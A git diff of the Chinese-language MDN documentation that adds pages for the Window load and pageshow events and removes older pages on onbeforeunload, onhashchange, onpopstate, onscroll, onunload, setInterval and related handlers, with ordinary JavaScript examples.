diff --git a/files/zh-cn/web/api/window/load_event/index.html b/files/zh-cn/web/api/window/load_event/index.html new file mode 100644 index 0000000000..5cfb7b075f --- /dev/null +++ b/files/zh-cn/web/api/window/load_event/index.html @@ -0,0 +1,161 @@ +--- +title: load +slug: Web/Events/load +tags: + - load +translation_of: Web/API/Window/load_event +--- +

{{APIRef}}

+ +

当整个页面及所有依赖资源如样式表和图片都已完成加载时,将触发load事件。

+ +

它与{{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}不同,后者只要页面DOM加载完成就触发,无需等待依赖资源的加载。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
能否取消
接口{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers/onload", "onload")}}
+ +

用法

+ +

当页面及资源完全加载后在控制台打印一段信息:

+ +
window.addEventListener('load', (event) => {
+  console.log('page is fully loaded');
+});
+ +

也可以使用onload实现:

+ +
window.onload = (event) => {
+  console.log('page is fully loaded');
+};
+ +

示例

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-load', 'load')}}{{Spec2('UI Events')}}
{{SpecName('HTML WHATWG', '#delay-the-load-event', 'load event')}}{{Spec2('HTML WHATWG')}}此链接指向加载文档结束时执行步骤中的部分。“load”事件也会在许多元素上触发。 请注意,规范中有很多地方涉及到可以"延迟加载事件"的内容。
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.load_event")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/window/onbeforeunload/index.html b/files/zh-cn/web/api/window/onbeforeunload/index.html deleted file mode 100644 index 78bed99eb9..0000000000 --- a/files/zh-cn/web/api/window/onbeforeunload/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: window.onbeforeunload -slug: Web/API/Window/onbeforeunload -translation_of: Web/API/WindowEventHandlers/onbeforeunload ---- -
{{ApiRef}}
- -

概述

- -

当窗口即将被{{domxref("window.onunload","卸载(关闭)")}}时,会触发该事件.此时页面文档依然可见,且该事件的默认动作可以被{{domxref("event.preventDefault","取消")}}.

- -

语法

- -
window.onbeforeunload = funcRef
- - - -

示例

- -
window.onbeforeunload = function (e) {
-  e = e || window.event;
-
-  // 兼容IE8和Firefox 4之前的版本
-  if (e) {
-    e.returnValue = '关闭提示';
-  }
-
-  // Chrome, Safari, Firefox 4+, Opera 12+ , IE 9+
-  return '关闭提示';
-};
-
- -

附注

- -

当该事件返回的字符串(事前设置好的event.returnValue的值)不为null或者undefined时,弹出确认窗口让用户自行选择是否关闭当前页面。一些浏览器将该事件返回的字符串显示在弹出窗上。从Firefox 4、 Chrome 51、Opera 38 和Safari 9.1开始,通用确认信息代替事件返回的字符串。比如,火狐上会显示“本页面要求您确认您要离开 - 您输入的数据可能不会被保存”,请查阅{{bug("588292")}}和Chrome Platform Status

- -

从2011年5月25日起,  HTML5 规范 声明:在该事件的处理函数中调用下列弹窗相关的方法时,可以忽略不执行,window.showModalDialog(), window.alert(), window.confirm() window.prompt().

- -

需要指出的是,许多浏览器会忽略该事件并自动关闭页面无需用户的确认。火狐浏览器在配置页面about:config设有一个dom.disable_beforeunload的开关变量用于开启这个功能。

- -

你可以通过{{domxref("EventTarget.addEventListener","window.addEventListener()")}} 或者 {{event("beforeunload")}} 创建该事件。更多信息请点击以上链接。

- -

创建这个事件能防止浏览器缓存部分由javascript产生的页面内容。在页面中含Javascript产生的内容情形下,再次导航返回到原页面javascript不在运行。如果事先有window.onbeforeunload事件,导航返回到先前的页面后javascript将被触发并更新页面内容。

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support114123
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

规范

- -

该事件最初是由微软公司的IE4引进,虽然没有公开的规范说明,但所有浏览器都支持该事件.目前已被添加至HTML5规范草案中.

- - - -

相关链接

- - diff --git a/files/zh-cn/web/api/window/onhashchange/index.html b/files/zh-cn/web/api/window/onhashchange/index.html deleted file mode 100644 index 0c7f3ebefa..0000000000 --- a/files/zh-cn/web/api/window/onhashchange/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: window.onhashchange -slug: Web/API/Window/onhashchange -tags: - - HTML-DOM - - Property - - Reference - - WindowEventHandlers -translation_of: Web/API/WindowEventHandlers/onhashchange ---- -

{{APIRef("HTML DOM")}}

- -

当 一个窗口的 hash (URL 中 # 后面的部分)改变时就会触发 hashchange 事件(参见 {{domxref("Window.location", "location.hash")}})。

- -

语法

- -
window.onhashchange = funcRef;
-
- -

或者

- -
<body onhashchange="funcRef();">
- -

以上操作将覆盖现有的事件处理程序。

- -

为了添加一个新的事件处理程序,而不覆盖掉已有的其他事件处理程序,可以使用函数 "addEventListener"

- -
window.addEventListener("hashchange", funcRef, false);
-
- -

参数

- -
-
funcRef
-
对一个函数的引用。
-
- -

例子

- -
if ("onhashchange" in window) {
-    alert("该浏览器支持 hashchange 事件!");
-}
-
-function locationHashChanged() {
-    if (location.hash === "#somecoolfeature") {
-        somecoolfeature();
-    }
-}
-
-window.onhashchange = locationHashChanged;
-
- -

hashchange 事件

- -

hashchange 事件对象有下面两个属性:

- - - - - - - - - - - - - - - - - - - -
属性类型描述
newURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面新的URL
oldURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面旧的URL
- -

Workaround for event.newURL and event.oldURL

- -
//let this snippet run before your hashchange event binding code
-if(!window.HashChangeEvent)(function(){
-	var lastURL=document.URL;
-	window.addEventListener("hashchange",function(event){
-		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
-		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
-		lastURL=document.URL;
-	});
-}());
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
- -

浏览器兼容性

- -

{{Compat("api.WindowEventHandlers.onhashchange")}}

- - diff --git a/files/zh-cn/web/api/window/onmouseup/index.html b/files/zh-cn/web/api/window/onmouseup/index.html deleted file mode 100644 index 03a4b116b8..0000000000 --- a/files/zh-cn/web/api/window/onmouseup/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: window.onmouseup -slug: Web/API/Window/onmouseup -translation_of: Web/API/GlobalEventHandlers/onmouseup -translation_of_original: Web/API/Window/onmouseup ---- -

{{ ApiRef() }}

-

概述

-

当前窗口的mouseup事件的事件句柄.

-

语法

-
window.onmouseup = funcRef;
-
-

参数

- -

例子

-
window.onmouseup = doFunc;
-
-
<html>
-<head>
-
-<title>onmouseup测试</title>
-
-<script type="text/javascript">
-
-window.onmouseup = mouseup;
-
-function mouseup()
-{
- alert("检测到mouseup事件!");
-}
-</script>
-</head>
-
-<body>
-<p>在页面上按下鼠标中某个键,保持几秒后松开.mouseup事件会在你松开鼠标时触发</p>
-</body>
-</html>
-
-

规范

-

没有任何公开的标准

-

{{ languages( { "ja": "ja/DOM/window.onmouseup" ,"en": "en/DOM/window.onmouseup" } ) }}

diff --git a/files/zh-cn/web/api/window/onpopstate/index.html b/files/zh-cn/web/api/window/onpopstate/index.html deleted file mode 100644 index 6efc1ec835..0000000000 --- a/files/zh-cn/web/api/window/onpopstate/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: window.onpopstate -slug: Web/API/Window/onpopstate -translation_of: Web/API/WindowEventHandlers/onpopstate ---- -

{{ ApiRef() }}

- -

{{ gecko_minversion_header("2") }}

- -

概述

- -

window.onpopstatepopstate事件在window对象上的事件处理程序.

- -

每当处于激活状态的历史记录条目发生变化时,popstate事件就会在对应window对象上触发. 如果当前处于激活状态的历史记录条目是由history.pushState()方法创建,或者由history.replaceState()方法修改过的, 则popstate事件对象的state属性包含了这个历史记录条目的state对象的一个拷贝.

- -

注意:调用history.pushState()或者history.replaceState()不会触发popstate事件. popstate事件只会在浏览器某些行为下触发, 比如点击后退、前进按钮(或者在JavaScript中调用history.back()、history.forward()、history.go()方法),此外,a 标签的锚点也会触发该事件.

- -

当网页加载时,各浏览器对popstate事件是否触发有不同的表现,Chrome 和 Safari会触发popstate事件, 而Firefox不会.

- -

语法

- -
window.onpopstate = funcRef;
-
- - - -

popstate事件

- -

假如当前网页地址为http://example.com/example.html,则运行下述代码后:

- -
window.onpopstate = function(event) {
-  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
-};
-//绑定事件处理函数.
-history.pushState({page: 1}, "title 1", "?page=1");    //添加并激活一个历史记录条目 http://example.com/example.html?page=1,条目索引为1
-history.pushState({page: 2}, "title 2", "?page=2");    //添加并激活一个历史记录条目 http://example.com/example.html?page=2,条目索引为2
-history.replaceState({page: 3}, "title 3", "?page=3"); //修改当前激活的历史记录条目 http://ex..?page=2 变为 http://ex..?page=3,条目索引为3
-history.back(); // 弹出 "location: http://example.com/example.html?page=1, state: {"page":1}"
-history.back(); // 弹出 "location: http://example.com/example.html, state: null
-history.go(2);  // 弹出 "location: http://example.com/example.html?page=3, state: {"page":3}
-
- -

即便进入了那些非pushState和replaceState方法作用过的(比如http://example.com/example.html)没有state对象关联的那些网页, popstate事件也仍然会被触发.

- -

规范

- - - -

浏览器兼容性

- - - -

{{Compat("api.WindowEventHandlers.onpopstate")}}

- -

相关链接

- - - -

{{ languages( {"en": "en/DOM/window.onpopstate" } ) }}

diff --git a/files/zh-cn/web/api/window/onscroll/index.html b/files/zh-cn/web/api/window/onscroll/index.html deleted file mode 100644 index af48e1575f..0000000000 --- a/files/zh-cn/web/api/window/onscroll/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: window.onscroll -slug: Web/API/Window/onscroll -translation_of: Web/API/GlobalEventHandlers/onscroll -translation_of_original: Web/API/Window/onscroll ---- -

{{ ApiRef() }}

-

概述

-

为当前页面的页面滚动事件添加事件处理函数.

-

语法

-
window.onscroll = funcRef;
-
- -

例子

-
window.onscroll = function (e) {
-  // 当页面的滚动条滚动时,会执行这里的代码
-}
-
-
<html>
-<head>
-
-<title>onscroll test</title>
-
-<script type="text/javascript">
-
-window.onscroll = scroll;
-
-function scroll()
-{
- alert("检测到页面滚动事件:"+window.pageXOffset+" "+window.pageYOffset);
- // 注意: window.innerWidth 和 window.innerHeight 可以获得页面可见区域的宽和高.
-}
-</script>
-</head>
-
-<body>
-<p>Resize the window</p>
-<p>to a very small size,</p>
-<p>and use the scrollbars</p>
-<p>to move around the page content</p>
-<p>in the window.</p>
-</body>
-</html>
-
-

备注

-

{{ Bug("189308") }}, 在旧版本的Gecko中(Gecko 1.8/Firefox 1.5之前), scroll 事件只会在用户拖动滚动条时发生,使用方向键和鼠标滚轮滚动页面则不会触发该事件.

-

当 window.scrollX/scrollY 不为 0时,意味着用户或者网页脚本已经执行了窗口的滚动行为.

-

规范

- -

{{ languages( { "en": "en/DOM/window.onscroll"} ) }}

diff --git a/files/zh-cn/web/api/window/onunload/index.html b/files/zh-cn/web/api/window/onunload/index.html deleted file mode 100644 index 5e766c1d67..0000000000 --- a/files/zh-cn/web/api/window/onunload/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: window.onunload -slug: Web/API/Window/onunload -translation_of: Web/API/WindowEventHandlers/onunload ---- -

{{ ApiRef("HTML DOM") }}

- -

概述

- -

{{domxref("WindowEventHandlers")}} 的混入特性 onunload 是 {{domxref("EventHandler")}}  处理 {{Event("unload")}} 事件的方法。该事件在关闭窗口资源和内容的时候触发。页面资源的清除工作会在 unload  事件之后进行。

- -
-

注意事项: 具备弹窗阻止功能的浏览器会忽略 onunload  事件回调中调用的 {{domxref("Window.open()")}} 方法。

-
- -
-

onunload 特性(乃至 unload 事件本身) 并非使用 sendBeacon()的正确途径,要调用 sendBeacon() 接口,应当使用 visibilitychange 和 pagehide 事件。 参见 Beacon API is broken

-
- -

语法

- -
window.addEventListener("unload", function(event) { ... });
-window.onunload = function(event) { ... };
- -

通常而言,我们推荐使用 {{domxref("EventTarget.addEventListener", "window.addEventListener()")}} 来监听 {{event("unload")}} 事件,而不是直接给 onunload 赋值。

- -

例子

- -
<html>
-<head>
-
-<title>onunload test</title>
-
-<script type="text/javascript">
-
-window.onunload = unloadPage;
-
-function unloadPage()
-{
- alert("unload event detected!");
-}
-</script>
-</head>
-
-<body>
-<p>Reload a new page into the browser<br />
- to fire the unload event for this page.</p>
-<p>You can also use the back or forward buttons<br />
- to load a new page and fire this event.</p>
-</body>
-</html>
-
-
- -

规范

- -

{{ DOM0() }}

- -

{{ languages( {"en": "en/DOM/window.onunload" } ) }}

- -

浏览器兼容性

- - - -

{{Compat("api.WindowEventHandlers.onunload")}}

- -

在 Firefox 1.5 中,页面使用此事件处理程序会阻止浏览器在 bfcache 内存中缓存页面(译者注:翻译可能没有达意,请对照英文原文)。详细信息请参阅使用 Firefox 1.5:缓存

diff --git a/files/zh-cn/web/api/window/pageshow_event/index.html b/files/zh-cn/web/api/window/pageshow_event/index.html new file mode 100644 index 0000000000..d0aec41716 --- /dev/null +++ b/files/zh-cn/web/api/window/pageshow_event/index.html @@ -0,0 +1,143 @@ +--- +title: pageshow +slug: Web/Events/pageshow +translation_of: Web/API/Window/pageshow_event +--- +

当一条会话历史记录被执行的时候将会触发页面显示(pageshow)事件。(这包括了后退/前进按钮操作,同时也会在onload 事件触发后初始化页面时触发)

+ +

基本信息

+ +
+
规范
+
HTML5
+
接口
+
PageTransitionEvent
+
事件冒泡
+
No
+
事件取消
+
No
+
事件源
+
Document (dispatched on Window)
+
默认操作
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
persisted {{readonlyInline}}{{jsxref("boolean")}}表示网页是否是来自缓存.
+ +

示例

+ +

以下示例将会在控制台打印由前进/后退按钮以及load事件触发后引起的pageshow事件:

+ +
window.addEventListener('pageshow', function(event) {
+    console.log('after , pageshow :',event);
+});
+
+
+window.addEventListener('load', function() {
+    console.log('before');
+});
+
+ + + + + +

不规范的写法,你同样可以将这个事件当做一个属性添加到body标签,类似于onload

+ +
<body onload="myonload()" onpageshow="mypageshowcode()">
+ +

浏览器兼容性

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("4")}}{{CompatGeckoDesktop("1.8")}}11155
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.3{{CompatUnknown()}}11355.1
+ + +
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/restore/index.html b/files/zh-cn/web/api/window/restore/index.html deleted file mode 100644 index 140827ddb9..0000000000 --- a/files/zh-cn/web/api/window/restore/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Window.restore() -slug: Web/API/Window/restore -translation_of: Web/API/Window/moveTo -translation_of_original: Web/API/Window/restore ---- -

{{APIRef}}

- -

这个方法现在已经失效,不过可以使用下面的方法代替:

- -

{{domxref("window.moveTo")}}({{domxref("window.screenX")}}, {{domxref("window.screenY")}});

- -

Browser Compatibility

- - - -

{{Compat("api.Window.restore")}}

diff --git a/files/zh-cn/web/api/window/setinterval/index.html b/files/zh-cn/web/api/window/setinterval/index.html deleted file mode 100644 index 385a19b81b..0000000000 --- a/files/zh-cn/web/api/window/setinterval/index.html +++ /dev/null @@ -1,635 +0,0 @@ ---- -title: window.setInterval -slug: Web/API/Window/setInterval -tags: - - API - - DOM - - 定时 - - 方法 - - 时间 -translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval ---- -
{{ ApiRef("HTML DOM") }}
- -

{{domxref("WindowOrWorkerGlobalScope")}} 的 setInterval() 方法重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。

- -

在窗口和工作接口上提供的setInterval()方法重复调用函数或执行代码片段,每次调用之间有固定的时间延迟。它返回一个时间间隔ID,该ID唯一地标识时间间隔,因此您可以稍后通过调用clearInterval()来删除它。这个方法是由WindowOrWorkerGlobalScope mixin定义的。

- -

语法

- -
var intervalID = scope.setInterval(func, delay, [arg1, arg2, ...]);
-var intervalID = scope.setInterval(code, delay);
-
- -

参数

- -
-
func
-
要重复调用的函数。 每经过指定 延迟 毫秒后执行的{{jsxref("函数")}} 。该函数不接受任何参数,也没有返回值。
-
code
-
这个语法是可选的,你可以传递一个字符串来代替一个函数对象,你传递的字符串会被编译然后每个delay毫秒时间内执行一次。这个语法因为存在安全风险所以不被推荐使用。
-
delay
-
是每次延迟的毫秒数 (一秒等于1000毫秒),函数的每次调用会在该延迟之后发生。和setTimeout一样,实际的延迟时间可能会稍长一点。这个时间计算单位是毫秒(千分之一秒),这个定时器会使指定方法或者代码段执行的时候进行时间延迟。如果这个参数值小于10,则默认使用值为10。请注意,真正延迟时间或许更长; 请参考示例: {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}} 
-
arg1, ..., argN {{optional_inline}}
-
当定时器过期的时候,将被传递给func指定函数的附加参数。
-
- -

返回值

- -

此返回值intervalID是一个非零数值,用来标识通过setInterval()创建的计时器,这个值可以用来作为clearInterval()的参数来清除对应的计时器 。

- -

值得注意的是,setInterval()setTimeout()共享同一个ID池,并且clearInterval()clearTimeout()在技术上是可互换使用的。但是,我们必须去匹配clearInterval()clearTimeout()对应的id,以避免代码杂乱无章,增强代码的可维护性。

- -
Note: The delay argument is converted to a signed 32-bit integer. This effectively limits delay to 2147483647 ms, since it's specified as a signed integer in the IDL.
- -

示例

- -

例1:基本用法

- -

下面例子是 setInterval()的基本语法

- -
var intervalID = window.setInterval(myCallback, 500, 'Parameter 1', 'Parameter 2');
-
-function myCallback(a, b)
-{
- // Your code here
- // Parameters are purely optional.
- console.log(a);
- console.log(b);
-}
-
- -

例2:两种颜色的切换

- -

下面的例子里会每隔一秒就调用函数 flashtext() 一次,直至你通过按下 Stop 按钮来清除本次重复操作的唯一辨识符 intervalID

- -
<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="UTF-8" />
-  <title>setInterval/clearInterval example</title>
-
-  <script>
-    var nIntervId;
-
-    function changeColor() {
-      nIntervId = setInterval(flashText, 1000);
-    }
-
-    function flashText() {
-      var oElem = document.getElementById('my_box');
-      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
-      // oElem.style.color == 'red' ? 'blue' : 'red' is a ternary operator.
-    }
-
-    function stopTextColor() {
-      clearInterval(nIntervId);
-    }
-  </script>
-</head>
-
-<body onload="changeColor();">
-  <div id="my_box">
-    <p>Hello World</p>
-  </div>
-
-  <button onclick="stopTextColor();">Stop</button>
-</body>
-</html>
-
- -

例3:打字机效果

- -

下面这个例子通过键入、删除和再次键入所有 NodeList 中的符合特定的选择器的字符,以达到打字机的效果。

- -
-
<!DOCTYPE html>
-<html>
-<head>
-<meta charset="UTF-8" />
-<title>JavaScript Typewriter - MDN Example</title>
-<script>
-function Typewriter (sSelector, nRate) {
-
-  function clean () {
-    clearInterval(nIntervId);
-    bTyping = false;
-    bStart = true;
-    oCurrent = null;
-    aSheets.length = nIdx = 0;
-  }
-
-  function scroll (oSheet, nPos, bEraseAndStop) {
-    if (!oSheet.hasOwnProperty("parts") || aMap.length < nPos) { return true; }
-
-    var oRel, bExit = false;
-
-    if (aMap.length === nPos) { aMap.push(0); }
-
-    while (aMap[nPos] < oSheet.parts.length) {
-      oRel = oSheet.parts[aMap[nPos]];
-
-      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
-
-      if (bEraseAndStop && (oRel.ref.nodeType - 1 | 1) === 3 && oRel.ref.nodeValue) {
-        bExit = true;
-        oCurrent = oRel.ref;
-        sPart = oCurrent.nodeValue;
-        oCurrent.nodeValue = "";
-      }
-
-      oSheet.ref.appendChild(oRel.ref);
-      if (bExit) { return false; }
-    }
-
-    aMap.length--;
-    return true;
-  }
-
-  function typewrite () {
-    if (sPart.length === 0 && scroll(aSheets[nIdx], 0, true) && nIdx++ === aSheets.length - 1) { clean(); return; }
-
-    oCurrent.nodeValue += sPart.charAt(0);
-    sPart = sPart.slice(1);
-  }
-
-  function Sheet (oNode) {
-    this.ref = oNode;
-    if (!oNode.hasChildNodes()) { return; }
-    this.parts = Array.prototype.slice.call(oNode.childNodes);
-
-    for (var nChild = 0; nChild < this.parts.length; nChild++) {
-      oNode.removeChild(this.parts[nChild]);
-      this.parts[nChild] = new Sheet(this.parts[nChild]);
-    }
-  }
-
-  var
-    nIntervId, oCurrent = null, bTyping = false, bStart = true,
-    nIdx = 0, sPart = "", aSheets = [], aMap = [];
-
-  this.rate = nRate || 100;
-
-  this.play = function () {
-    if (bTyping) { return; }
-    if (bStart) {
-      var aItems = document.querySelectorAll(sSelector);
-
-      if (aItems.length === 0) { return; }
-      for (var nItem = 0; nItem < aItems.length; nItem++) {
-        aSheets.push(new Sheet(aItems[nItem]));
-        /* Uncomment the following line if you have previously hidden your elements via CSS: */
-        // aItems[nItem].style.visibility = "visible";
-      }
-
-      bStart = false;
-    }
-
-    nIntervId = setInterval(typewrite, this.rate);
-    bTyping = true;
-  };
-
-  this.pause = function () {
-    clearInterval(nIntervId);
-    bTyping = false;
-  };
-
-  this.terminate = function () {
-    oCurrent.nodeValue += sPart;
-    sPart = "";
-    for (nIdx; nIdx < aSheets.length; scroll(aSheets[nIdx++], 0, false));
-    clean();
-  };
-}
-
-/* usage: */
-var oTWExample1 = new Typewriter(/* elements: */ "#article, h1, #info, #copyleft", /* frame rate (optional): */ 15);
-
-/* default frame rate is 100: */
-var oTWExample2 = new Typewriter("#controls");
-
-/* you can also change the frame rate value modifying the "rate" property; for example: */
-// oTWExample2.rate = 150;
-
-onload = function () {
-  oTWExample1.play();
-  oTWExample2.play();
-};
-</script>
-<style type="text/css">
-span.intLink, a, a:visited {
-  cursor: pointer;
-  color: #000000;
-  text-decoration: underline;
-}
-
-#info {
-  width: 180px;
-  height: 150px;
-  float: right;
-  background-color: #eeeeff;
-  padding: 4px;
-  overflow: auto;
-  font-size: 12px;
-  margin: 4px;
-  border-radius: 5px;
-  /* visibility: hidden; */
-}
-</style>
-</head>
-
-<body>
-
-<p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">CopyLeft 2012 by <a href="https://developer.mozilla.org/" target="_blank">Mozilla Developer Network</a></p>
-<p id="controls" style="text-align: center;">[&nbsp;<span class="intLink" onclick="oTWExample1.play();">Play</span> | <span class="intLink" onclick="oTWExample1.pause();">Pause</span> | <span class="intLink" onclick="oTWExample1.terminate();">Terminate</span>&nbsp;]</p>
-<div id="info">
-Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
-</div>
-<h1>JavaScript Typewriter</h1>
-
-<div id="article">
-<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
-<form>
-<p>Phasellus ac nisl lorem: <input type="text" /><br />
-<textarea style="width: 400px; height: 200px;">Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</textarea></p>
-<input type="submit" value="Send" />
-</form>
-<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.</p>
-<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
-</div>
-</body>
-</html>
-
- -

查看示例效果,亦可参考:clearInterval()

- -

回调参数

- -

如前所述,Internet Explorer 9及以下版本不支持在setTimeout()setInterval()中向回调函数传递参数。下面的IE专用代码演示了一种克服这种限制的方法。使用时,只需将以下代码添加到你的脚本顶部即可。

- -
/*\
-|*|
-|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
-|*|  callback functions of javascript timers (HTML5 standard syntax).
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|
-|*|  Syntax:
-|*|  var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]);
-|*|  var timeoutID = window.setTimeout(code, delay);
-|*|  var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]);
-|*|  var intervalID = window.setInterval(code, delay);
-|*|
-\*/
-
-if (document.all && !window.setTimeout.isPolyfill) {
-  var __nativeST__ = window.setTimeout;
-  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-    var aArgs = Array.prototype.slice.call(arguments, 2);
-    return __nativeST__(vCallback instanceof Function ? function () {
-      vCallback.apply(null, aArgs);
-    } : vCallback, nDelay);
-  };
-  window.setTimeout.isPolyfill = true;
-}
-
-if (document.all && !window.setInterval.isPolyfill) {
-  var __nativeSI__ = window.setInterval;
-  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-    var aArgs = Array.prototype.slice.call(arguments, 2);
-    return __nativeSI__(vCallback instanceof Function ? function () {
-      vCallback.apply(null, aArgs);
-    } : vCallback, nDelay);
-  };
-  window.setInterval.isPolyfill = true;
-}
-
- -

另一种方式是使用匿名函数调用你的回调函数,但是这种方式开销较大。例如:

- -
var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);
- -

还有一种方式是使用 function's bind. 例如:

- -
var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);
- -

{{h3_gecko_minversion("Inactive tabs", "5.0")}}

- -

Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.

- -

"this" 的问题

- -

当你给 setInterval() 传递一个方法或者函数的时候,this 值的绑定会存在一些问题。  这个问题在JavaScript 参考 进行了详细解释。

